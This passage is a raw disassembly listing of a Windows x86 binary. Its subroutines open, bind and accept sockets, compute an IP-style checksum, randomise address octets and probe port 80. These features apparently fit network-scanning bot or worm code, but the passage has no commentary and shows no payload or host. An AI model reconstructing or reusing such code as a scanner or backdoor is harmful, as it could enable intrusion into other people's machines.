		push	eax
		call	sub_4114EE	; _mbscat
		lea	eax, [ebp+var_121C]
		push	eax
		call	sub_4114BE	; strlen
		inc	eax
		push	eax
		lea	eax, [ebp+var_121C]
		push	eax
		push	edi
		call	sub_403D9D
		push	edi
		call	sub_403D70
		add	esp, 2Ch
		jmp	short loc_40307D
; ---------------------------------------------------------------------------

loc_403076:				; CODE XREF: sub_402EFD+BFj
					; sub_402EFD+C8j ...
		push	edi
		call	sub_403D70
		pop	ecx

loc_40307D:				; CODE XREF: sub_402EFD+A2j
					; sub_402EFD+177j
		push	esi
		push	ebx
		call	sub_403767
		pop	ecx
		pop	ecx
		jmp	loc_402F82
; ---------------------------------------------------------------------------

loc_40308B:				; CODE XREF: sub_402EFD+91j
					; sub_402EFD+99j
		push	ebx
		call	sub_40392A
		push	[ebp+var_21C]
		call	sub_406E6F
		pop	ecx
		xor	eax, eax
		pop	ecx
		pop	edi
		pop	esi

loc_4030A2:				; CODE XREF: sub_402EFD+4Fj
		pop	ebx
		leave
		retn	4
sub_402EFD	endp


; =============== S U B	R O U T	I N E =======================================



sub_4030A7	proc near		; CODE XREF: sub_407A76+92Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		test	ebx, ebx
		push	esi
		jz	short loc_4030BC
		push	ebx
		call	sub_4032A7
		test	eax, eax
		pop	ecx
		jnz	short loc_4030C1

loc_4030BC:				; CODE XREF: sub_4030A7+8j
		mov	ebx, offset dword_413A14

loc_4030C1:				; CODE XREF: sub_4030A7+13j
		push	1ADh
		call	sub_4114C4	; malloc
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_40311A
		push	edi
		push	6
		lea	eax, [esi+4]
		push	ebx
		push	eax
		call	sub_4059C2
		mov	edi, [esp+18h+arg_0]
		lea	eax, [esi+0Ah]
		push	edi
		push	eax
		call	sub_40457C
		add	esp, 14h
		test	edi, edi
		jz	short loc_403101
		cmp	byte ptr [edi+18Bh], 0
		jz	short loc_403101
		xor	eax, eax
		jmp	short loc_403104
; ---------------------------------------------------------------------------

loc_403101:				; CODE XREF: sub_4030A7+4Bj
					; sub_4030A7+54j
		push	1
		pop	eax

loc_403104:				; CODE XREF: sub_4030A7+58j
		push	ebx
		push	offset dword_4139F4
		push	eax
		push	esi
		push	offset sub_402EFD
		call	sub_406D58
		add	esp, 14h
		pop	edi

loc_40311A:				; CODE XREF: sub_4030A7+29j
		pop	esi
		pop	ebx
		retn
sub_4030A7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40311D	proc near		; CODE XREF: sub_40C135+5Ep
					; sub_40CAA1+133p

var_104		= byte ptr -104h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	esi
		mov	esi, 104h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_104]
		push	offset dword_413A2C
		push	esi
		push	eax
		call	sub_41152E	; _snprintf
		add	esp, 10h
		lea	eax, [ebp+var_104]
		push	esi
		push	[ebp+arg_4]
		push	0FFFFFFFFh
		push	eax
		push	0
		push	0
		call	dword_412058	; MultiByteToWideChar
		pop	esi
		leave
		retn
sub_40311D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40315E	proc near		; CODE XREF: sub_403EA9+539p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		xor	edx, edx
		cmp	esi, 1
		jbe	short loc_403182
		mov	eax, [esp+4+arg_0]
		mov	ecx, esi
		push	edi
		shr	ecx, 1

loc_403173:				; CODE XREF: sub_40315E+1Fj
		movzx	edi, word ptr [eax]
		add	edx, edi
		inc	eax
		inc	eax
		dec	esi
		dec	esi
		dec	ecx
		jnz	short loc_403173
		pop	edi
		jmp	short loc_403186
; ---------------------------------------------------------------------------

loc_403182:				; CODE XREF: sub_40315E+Aj
		mov	eax, [esp+4+arg_0]

loc_403186:				; CODE XREF: sub_40315E+22j
		test	esi, esi
		pop	esi
		jz	short loc_403190
		movzx	eax, byte ptr [eax]
		add	edx, eax

loc_403190:				; CODE XREF: sub_40315E+2Bj
		mov	ecx, edx
		and	edx, 0FFFFh
		shr	ecx, 10h
		add	ecx, edx
		mov	eax, ecx
		shr	eax, 10h
		add	eax, ecx
		not	eax
		retn
sub_40315E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4031A7	proc near		; CODE XREF: sub_403EA9+520p
					; sub_407A76+F8Bp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		dec	eax
		push	esi
		dec	eax
		push	edi
		mov	ebx, 0FEh
		jz	short loc_4031F0
		dec	eax
		jz	short loc_4031D4
		dec	eax
		jnz	short loc_40320C
		push	ebx
		push	1
		call	sub_40B459
		mov	edi, eax
		mov	eax, [ebp+arg_0]
		pop	ecx
		and	al, 0
		pop	ecx
		or	edi, eax
		jmp	short loc_4031D7
; ---------------------------------------------------------------------------

loc_4031D4:				; CODE XREF: sub_4031A7+13j
		mov	edi, [ebp+arg_0]

loc_4031D7:				; CODE XREF: sub_4031A7+2Bj
		push	ebx
		push	1
		call	sub_40B459
		mov	esi, eax
		pop	ecx
		shl	esi, 8
		and	edi, 0FFFF00FFh
		pop	ecx
		or	esi, edi
		jmp	short loc_4031F3
; ---------------------------------------------------------------------------

loc_4031F0:				; CODE XREF: sub_4031A7+10j
		mov	esi, [ebp+arg_0]

loc_4031F3:				; CODE XREF: sub_4031A7+47j
		push	ebx
		push	1
		call	sub_40B459
		mov	edi, eax
		pop	ecx
		shl	edi, 10h
		and	esi, 0FF00FFFFh
		pop	ecx
		or	edi, esi
		jmp	short loc_40320F
; ---------------------------------------------------------------------------

loc_40320C:				; CODE XREF: sub_4031A7+16j
		mov	edi, [ebp+arg_0]

loc_40320F:				; CODE XREF: sub_4031A7+63j
		push	ebx
		push	1
		call	sub_40B459
		pop	ecx
		and	edi, 0FFFFFFh
		shl	eax, 18h
		pop	ecx
		or	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4031A7	endp


; =============== S U B	R O U T	I N E =======================================



sub_403229	proc near		; CODE XREF: sub_4032D2+Ap
					; sub_40338B+13p

arg_0		= dword	ptr  4

		push	0Ah
		push	[esp+4+arg_0]
		push	0FFFFh
		push	401h
		call	sub_40B459
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41192A	; _itoa
		add	esp, 0Ch
		retn
sub_403229	endp


; =============== S U B	R O U T	I N E =======================================



sub_40324A	proc near		; CODE XREF: sub_409918+479p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	4
		push	offset dword_413A50
		push	esi
		call	sub_411570	; strncmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_403268

loc_403263:				; CODE XREF: sub_40324A+30j
					; sub_40324A+44j
		push	1
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_403268:				; CODE XREF: sub_40324A+17j
		push	4
		push	offset dword_413A48
		push	esi
		call	sub_411570	; strncmp
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_403263
		push	8
		push	offset dword_413A3C
		push	esi
		call	sub_411570	; strncmp
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_403263
		push	3
		push	offset dword_413A38
		push	esi
		call	sub_411570	; strncmp
		add	esp, 0Ch
		neg	eax
		sbb	eax, eax
		pop	esi
		inc	eax
		retn
sub_40324A	endp


; =============== S U B	R O U T	I N E =======================================



sub_4032A7	proc near		; CODE XREF: sub_402230+173p
					; sub_4030A7+Bp ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		xor	eax, eax

loc_4032AD:				; CODE XREF: sub_4032A7+10j
		cmp	byte ptr [eax+ecx], 0
		jz	short loc_4032BC
		inc	eax
		cmp	eax, 6
		jnz	short loc_4032AD

loc_4032B9:				; CODE XREF: sub_4032A7+1Ej
					; sub_4032A7+25j
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_4032BC:				; CODE XREF: sub_4032A7+Aj
		push	ecx
		call	sub_41151C	; atoi
		test	eax, eax
		pop	ecx
		jz	short loc_4032B9
		cmp	eax, 0FFFFh
		ja	short loc_4032B9
		push	1
		pop	eax
		retn
sub_4032A7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4032D2	proc near		; CODE XREF: sub_403338+9p
					; sub_40656A:loc_406696p ...

var_8		= byte ptr -8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		call	sub_403229
		lea	eax, [ebp+var_8]
		push	1
		push	eax
		call	sub_403644
		mov	esi, eax
		add	esp, 0Ch
		test	esi, esi
		jnz	short loc_4032FA
		push	1
		pop	eax
		jmp	short loc_403330
; ---------------------------------------------------------------------------

loc_4032FA:				; CODE XREF: sub_4032D2+21j
		push	edi
		push	0BB8h
		lea	eax, [ebp+var_8]
		push	0
		push	eax
		push	offset dword_41A2E8
		call	sub_403C04
		push	esi
		mov	edi, eax
		call	sub_40392A
		add	esp, 14h
		test	edi, edi
		jz	short loc_403333
		cmp	edi, 0FFFFFFFFh
		jz	short loc_403333
		push	edi
		xor	esi, esi
		call	sub_403D92
		pop	ecx

loc_40332D:				; CODE XREF: sub_4032D2+64j
		mov	eax, esi
		pop	edi

loc_403330:				; CODE XREF: sub_4032D2+26j
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------

loc_403333:				; CODE XREF: sub_4032D2+4Bj
					; sub_4032D2+50j
		push	1
		pop	esi
		jmp	short loc_40332D
sub_4032D2	endp


; =============== S U B	R O U T	I N E =======================================



sub_403338	proc near		; CODE XREF: sub_40DE4C+1p
					; sub_40EE23+182p ...
		cmp	dword_419634, 0
		jnz	short loc_403360
		call	sub_4032D2
		push	eax
		push	offset dword_419638
		call	sub_407227
		push	1
		push	offset dword_419634
		call	sub_407227
		add	esp, 10h

loc_403360:				; CODE XREF: sub_403338+7j
		mov	eax, dword_419638
		retn
sub_403338	endp


; =============== S U B	R O U T	I N E =======================================



sub_403366	proc near		; CODE XREF: sub_40338B+6p
					; sub_403644+36p
		push	esi
		push	0
		push	1
		push	17h
		call	dword_41222C	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_403381
		push	esi
		call	sub_403D92
		pop	ecx

loc_403381:				; CODE XREF: sub_403366+12j
		xor	eax, eax
		cmp	esi, 0FFFFFFFFh
		setnz	al
		pop	esi
		retn
sub_403366	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40338B	proc near		; CODE XREF: sub_405FF3:loc_40617Dp

var_8		= byte ptr -8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		call	sub_403366
		test	eax, eax
		jz	short loc_4033B7
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_403229
		lea	eax, [ebp+var_8]
		push	1
		push	eax
		call	sub_403644
		mov	esi, eax
		add	esp, 0Ch
		test	esi, esi
		jnz	short loc_4033BB

loc_4033B7:				; CODE XREF: sub_40338B+Dj
		xor	eax, eax
		jmp	short loc_4033F2
; ---------------------------------------------------------------------------

loc_4033BB:				; CODE XREF: sub_40338B+2Aj
		push	edi
		push	0BB8h
		lea	eax, [ebp+var_8]
		push	2
		push	eax
		push	offset dword_413A64
		call	sub_403C04
		push	esi
		mov	edi, eax
		call	sub_40392A
		add	esp, 14h
		test	edi, edi
		jz	short loc_4033F5
		cmp	edi, 0FFFFFFFFh
		jz	short loc_4033F5
		push	1
		pop	esi
		push	edi
		call	sub_403D92
		pop	ecx

loc_4033EF:				; CODE XREF: sub_40338B+6Cj
		mov	eax, esi
		pop	edi

loc_4033F2:				; CODE XREF: sub_40338B+2Ej
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------

loc_4033F5:				; CODE XREF: sub_40338B+53j
					; sub_40338B+58j
		xor	esi, esi
		jmp	short loc_4033EF
sub_40338B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4033F9	proc near		; CODE XREF: sub_40656A:loc_40667Dp
					; sub_408E1A+196p ...

var_14		= byte ptr -14h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		lea	eax, [ebp+var_14]
		push	offset dword_413A18
		push	eax
		call	sub_4114B8	; _mbscpy
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_40B5E1
		push	7D0h
		push	2
		lea	eax, [ebp+var_14]
		push	offset a80	; "80"
		push	eax
		call	sub_403C04
		add	esp, 1Ch
		test	eax, eax
		jz	short loc_403447
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403447
		push	1
		pop	esi
		push	eax
		call	sub_403D92
		pop	ecx

loc_403442:				; CODE XREF: sub_4033F9+50j
		mov	eax, esi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------

loc_403447:				; CODE XREF: sub_4033F9+38j
					; sub_4033F9+3Dj
		xor	esi, esi
		jmp	short loc_403442
sub_4033F9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40344B	proc near		; CODE XREF: sub_403B44+7Dp
					; sub_403C04+ABp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		xor	eax, eax
		cmp	[ebp+arg_4], eax
		setz	al
		mov	[ebp+arg_4], eax
		lea	eax, [ebp+arg_4]
		push	eax
		push	8004667Eh
		push	[ebp+arg_0]
		call	dword_412228	; ioctlsocket
		pop	ebp
		retn
sub_40344B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40346D	proc near		; CODE XREF: sub_40544F+1C5p
					; sub_40544F+200p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		lea	eax, [ebp+arg_0]
		push	eax
		push	4004667Fh
		push	[ebp+arg_0]
		call	dword_412228	; ioctlsocket
		xor	eax, eax
		cmp	[ebp+arg_0], eax
		setnz	al
		pop	ebp
		retn
sub_40346D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40348C	proc near		; CODE XREF: sub_409918+467p
					; sub_40DE9A+54p

var_84		= byte ptr -84h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 84h
		lea	eax, [ebp+var_4]
		mov	[ebp+var_4], 80h
		push	eax
		lea	eax, [ebp+var_84]
		push	eax
		push	[ebp+arg_0]
		call	dword_412250	; getsockname
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4034B9
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_4034B9:				; CODE XREF: sub_40348C+27j
		push	2
		push	0
		push	0
		push	100h
		push	[ebp+arg_4]
		lea	eax, [ebp+var_84]
		push	[ebp+var_4]
		push	eax
		call	dword_419228
		neg	eax
		sbb	eax, eax
		inc	eax
		leave
		retn
sub_40348C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4034DE	proc near		; CODE XREF: sub_40544F+B2p
					; sub_40E6A0+24p ...

var_84		= byte ptr -84h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 84h
		lea	eax, [ebp+var_4]
		mov	[ebp+var_4], 80h
		push	eax
		lea	eax, [ebp+var_84]
		push	eax
		push	[ebp+arg_0]
		call	dword_412224	; getpeername
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40350B
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_40350B:				; CODE XREF: sub_4034DE+27j
		push	2
		push	0
		push	0
		push	100h
		push	[ebp+arg_4]
		lea	eax, [ebp+var_84]
		push	[ebp+var_4]
		push	eax
		call	dword_419228
		neg	eax
		sbb	eax, eax
		inc	eax
		leave
		retn
sub_4034DE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403530	proc near		; CODE XREF: sub_40ECD6+8Fp
					; sub_410C55+182p

var_84		= byte ptr -84h
var_82		= dword	ptr -82h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 84h
		lea	eax, [ebp+var_4]
		mov	[ebp+var_4], 80h
		push	eax
		lea	eax, [ebp+var_84]
		push	eax
		push	[ebp+arg_0]
		call	dword_412250	; getsockname
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40355D
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_40355D:				; CODE XREF: sub_403530+27j
		push	0Ah
		push	[ebp+arg_4]
		push	[ebp+var_82]
		call	dword_412248	; htons
		movzx	eax, ax
		push	eax
		call	sub_41192A	; _itoa
		add	esp, 0Ch
		push	1
		pop	eax
		leave
		retn
sub_403530	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40357F	proc near		; CODE XREF: sub_40F9C9+142p
					; sub_410C55+14Ap

var_84		= byte ptr -84h
var_82		= dword	ptr -82h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 84h
		lea	eax, [ebp+var_4]
		mov	[ebp+var_4], 80h
		push	eax
		lea	eax, [ebp+var_84]
		push	eax
		push	[ebp+arg_0]
		call	dword_412224	; getpeername
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4035AC
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_4035AC:				; CODE XREF: sub_40357F+27j
		push	0Ah
		push	[ebp+arg_4]
		push	[ebp+var_82]
		call	dword_412248	; htons
		movzx	eax, ax
		push	eax
		call	sub_41192A	; _itoa
		add	esp, 0Ch
		push	1
		pop	eax
		leave
		retn
sub_40357F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4035CE	proc near		; CODE XREF: sub_409918+516p

var_404		= byte ptr -404h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 404h
		lea	eax, [ebp+arg_0]
		push	esi
		push	eax
		push	0
		push	0
		push	[ebp+arg_0]
		call	dword_419224
		test	eax, eax
		jnz	short loc_40363F
		mov	esi, [ebp+arg_0]

loc_4035F0:				; CODE XREF: sub_4035CE+51j
		test	esi, esi
		jz	short loc_403636
		push	2
		push	0
		push	0
		lea	eax, [ebp+var_404]
		push	401h
		push	eax
		push	dword ptr [esi+10h]
		push	dword ptr [esi+18h]
		call	dword_419228
		test	eax, eax
		jnz	short loc_40361C
		cmp	dword ptr [esi+4], 2
		jz	short loc_403621

loc_40361C:				; CODE XREF: sub_4035CE+46j
		mov	esi, [esi+1Ch]
		jmp	short loc_4035F0
; ---------------------------------------------------------------------------

loc_403621:				; CODE XREF: sub_4035CE+4Cj
		lea	eax, [ebp+var_404]
		push	eax
		push	[ebp+arg_4]
		call	sub_4114B8	; _mbscpy
		pop	ecx
		mov	al, 1
		pop	ecx
		jmp	short loc_403641
; ---------------------------------------------------------------------------

loc_403636:				; CODE XREF: sub_4035CE+24j
		push	[ebp+arg_0]
		call	dword_41922C

loc_40363F:				; CODE XREF: sub_4035CE+1Dj
		xor	al, al

loc_403641:				; CODE XREF: sub_4035CE+66j
		pop	esi
		leave
		retn
sub_4035CE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403644	proc near		; CODE XREF: sub_401B81+D4p
					; sub_402EFD+33p ...

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		push	edi
		push	1008h
		call	sub_4114C4	; malloc
		mov	edi, eax
		xor	ebx, ebx
		cmp	edi, ebx
		pop	ecx
		jz	loc_40375D
		push	20h
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		mov	[edi], ebx
		mov	[edi+804h], ebx
		call	sub_4114E8	; memset
		add	esp, 0Ch
		call	sub_403366
		neg	eax
		sbb	eax, eax
		mov	[ebp+var_1C], 1
		and	al, 0FEh
		mov	[ebp+var_24], 5
		inc	eax
		inc	eax
		mov	[ebp+var_20], eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	[ebp+arg_0]
		push	ebx
		call	dword_419224
		test	eax, eax
		jnz	loc_403756
		push	esi
		mov	esi, [ebp+var_4]
		cmp	esi, ebx
		jz	loc_403748

loc_4036BE:				; CODE XREF: sub_403644+FCj
		push	dword ptr [esi+0Ch]
		push	dword ptr [esi+8]
		push	dword ptr [esi+4]
		call	dword_41222C	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40373B
		mov	eax, [esi+4]
		cmp	eax, 2
		jz	short loc_4036E1
		cmp	eax, 17h
		jnz	short loc_40373B

loc_4036E1:				; CODE XREF: sub_403644+96j
		test	[ebp+arg_4], 2
		jz	short loc_403702
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		push	4
		push	0FFFFh
		push	ebx
		mov	[ebp+arg_0], 1
		call	dword_412218	; setsockopt

loc_403702:				; CODE XREF: sub_403644+A1j
		push	dword ptr [esi+10h]
		push	dword ptr [esi+18h]
		push	ebx
		call	dword_41221C	; bind
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403722
		push	32h
		push	ebx
		call	dword_412278	; listen
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40372B

loc_403722:				; CODE XREF: sub_403644+CEj
		push	ebx
		call	sub_403D92
		pop	ecx
		jmp	short loc_40373B
; ---------------------------------------------------------------------------

loc_40372B:				; CODE XREF: sub_403644+DCj
		mov	eax, [edi]
		mov	[edi+eax*4+4], ebx
		inc	dword ptr [edi]
		cmp	dword ptr [edi], 200h
		jz	short loc_403746

loc_40373B:				; CODE XREF: sub_403644+8Ej
					; sub_403644+9Bj ...
		mov	esi, [esi+1Ch]
		test	esi, esi
		jnz	loc_4036BE

loc_403746:				; CODE XREF: sub_403644+F5j
		xor	ebx, ebx

loc_403748:				; CODE XREF: sub_403644+74j
		push	[ebp+var_4]
		call	dword_41922C
		cmp	[edi], ebx
		pop	esi
		jnz	short loc_403761

loc_403756:				; CODE XREF: sub_403644+68j
		push	edi
		call	sub_4114CA	; free
		pop	ecx

loc_40375D:				; CODE XREF: sub_403644+19j
		xor	eax, eax
		jmp	short loc_403763
; ---------------------------------------------------------------------------

loc_403761:				; CODE XREF: sub_403644+110j
		mov	eax, edi

loc_403763:				; CODE XREF: sub_403644+11Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_403644	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403767	proc near		; CODE XREF: sub_401B81+18Fp
					; sub_402EFD+7Dp ...

var_90		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 90h
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	[ebp+var_8], 80h
		cmp	dword ptr [esi], 0
		jbe	loc_40380C
		lea	edi, [esi+4]

loc_40378D:				; CODE XREF: sub_403767+A3j
		lea	ebx, [esi+804h]
		push	ebx
		push	dword ptr [edi]
		call	sub_4117E8	; __WSAFDIsSet
		test	eax, eax
		jz	short loc_4037FF
		mov	edx, [ebx]
		xor	ecx, ecx
		test	edx, edx
		jbe	short loc_4037E3
		mov	ebx, [edi]
		lea	eax, [esi+808h]

loc_4037AF:				; CODE XREF: sub_403767+52j
		cmp	[eax], ebx
		jz	short loc_4037BD
		inc	ecx
		add	eax, 4
		cmp	ecx, edx
		jb	short loc_4037AF
		jmp	short loc_4037E3
; ---------------------------------------------------------------------------

loc_4037BD:				; CODE XREF: sub_403767+4Aj
		dec	edx
		cmp	ecx, edx
		jnb	short loc_4037DD
		lea	eax, [esi+ecx*4+808h]

loc_4037C9:				; CODE XREF: sub_403767+74j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	edx, [esi+804h]
		add	eax, 4
		dec	edx
		cmp	ecx, edx
		jb	short loc_4037C9

loc_4037DD:				; CODE XREF: sub_403767+59j
		dec	dword ptr [esi+804h]

loc_4037E3:				; CODE XREF: sub_403767+3Ej
					; sub_403767+54j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		push	dword ptr [edi]
		call	dword_41223C	; accept
		cmp	eax, 0FFFFFFFFh
		jnz	loc_403925

loc_4037FF:				; CODE XREF: sub_403767+36j
		inc	[ebp+var_4]
		add	edi, 4
		mov	eax, [ebp+var_4]
		cmp	eax, [esi]
		jb	short loc_40378D

loc_40380C:				; CODE XREF: sub_403767+1Dj
		lea	edi, [esi+804h]
		xor	eax, eax
		cmp	[esi], eax
		mov	[ebp+var_4], eax
		mov	[edi], eax
		jbe	short loc_403868
		lea	ecx, [esi+4]

loc_403820:				; CODE XREF: sub_403767+FFj
		mov	edx, [edi]
		and	[ebp+arg_0], 0
		test	edx, edx
		jbe	short loc_403841
		lea	eax, [esi+808h]

loc_403830:				; CODE XREF: sub_403767+D8j
		mov	ebx, [ecx]
		cmp	[eax], ebx
		jz	short loc_403841
		inc	[ebp+arg_0]
		add	eax, 4
		cmp	[ebp+arg_0], edx
		jb	short loc_403830

loc_403841:				; CODE XREF: sub_403767+C1j
					; sub_403767+CDj
		mov	eax, [ebp+arg_0]
		cmp	eax, edx
		jnz	short loc_40385B
		cmp	edx, 200h
		jnb	short loc_40385B
		mov	edx, [ecx]
		mov	[esi+eax*4+808h], edx
		inc	dword ptr [edi]

loc_40385B:				; CODE XREF: sub_403767+DFj
					; sub_403767+E7j
		inc	[ebp+var_4]
		add	ecx, 4
		mov	eax, [ebp+var_4]
		cmp	eax, [esi]
		jb	short loc_403820

loc_403868:				; CODE XREF: sub_403767+B4j
		mov	eax, [ebp+arg_4]
		mov	ecx, 3E8h
		xor	edx, edx
		mov	ebx, ecx
		div	ebx
		xor	edx, edx
		xor	ebx, ebx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_4]
		div	ecx
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		push	ebx
		push	edi
		push	dword ptr [esi]
		imul	edx, 3E8h
		mov	[ebp+var_C], edx
		call	dword_412214	; select
		cmp	eax, ebx
		jz	loc_403922
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4038AB
		xor	eax, eax
		jmp	short loc_403925
; ---------------------------------------------------------------------------

loc_4038AB:				; CODE XREF: sub_403767+13Ej
		cmp	[esi], ebx
		mov	[ebp+var_4], ebx
		jbe	short loc_403922
		lea	ebx, [esi+4]

loc_4038B5:				; CODE XREF: sub_403767+1B9j
		push	edi
		push	dword ptr [ebx]
		call	sub_4117E8	; __WSAFDIsSet
		test	eax, eax
		jz	short loc_403915
		xor	ecx, ecx
		cmp	[edi], ecx
		jbe	short loc_4038FD
		lea	eax, [esi+808h]

loc_4038CD:				; CODE XREF: sub_403767+172j
		mov	edx, [ebx]
		cmp	[eax], edx
		jz	short loc_4038DD
		inc	ecx
		add	eax, 4
		cmp	ecx, [edi]
		jb	short loc_4038CD
		jmp	short loc_4038FD
; ---------------------------------------------------------------------------

loc_4038DD:				; CODE XREF: sub_403767+16Aj
		mov	eax, [edi]
		dec	eax
		cmp	ecx, eax
		jnb	short loc_4038FB
		lea	eax, [esi+ecx*4+808h]

loc_4038EB:				; CODE XREF: sub_403767+192j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	edx, [edi]
		add	eax, 4
		dec	edx
		cmp	ecx, edx
		jb	short loc_4038EB

loc_4038FB:				; CODE XREF: sub_403767+17Bj
		dec	dword ptr [edi]

loc_4038FD:				; CODE XREF: sub_403767+15Ej
					; sub_403767+174j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		push	dword ptr [ebx]
		call	dword_41223C	; accept
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_403925

loc_403915:				; CODE XREF: sub_403767+158j
		inc	[ebp+var_4]
		add	ebx, 4
		mov	eax, [ebp+var_4]
		cmp	eax, [esi]
		jb	short loc_4038B5

loc_403922:				; CODE XREF: sub_403767+135j
					; sub_403767+149j
		or	eax, 0FFFFFFFFh

loc_403925:				; CODE XREF: sub_403767+92j
					; sub_403767+142j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_403767	endp


; =============== S U B	R O U T	I N E =======================================



sub_40392A	proc near		; CODE XREF: sub_401B81+FFp
					; sub_401B81+2EFp ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		xor	ebx, ebx
		push	edi
		mov	eax, [esi]
		test	eax, eax
		jbe	short loc_40395C
		lea	edi, [esi+4]

loc_40393C:				; CODE XREF: sub_40392A+30j
		cmp	dword_4191D8, 0
		jz	short loc_40394A
		cmp	eax, 64h
		ja	short loc_40395C

loc_40394A:				; CODE XREF: sub_40392A+19j
		push	dword ptr [edi]
		call	sub_403D92
		mov	eax, [esi]
		inc	ebx
		add	edi, 4
		cmp	ebx, eax
		pop	ecx
		jb	short loc_40393C

loc_40395C:				; CODE XREF: sub_40392A+Dj
					; sub_40392A+1Ej
		and	dword ptr [esi+804h], 0
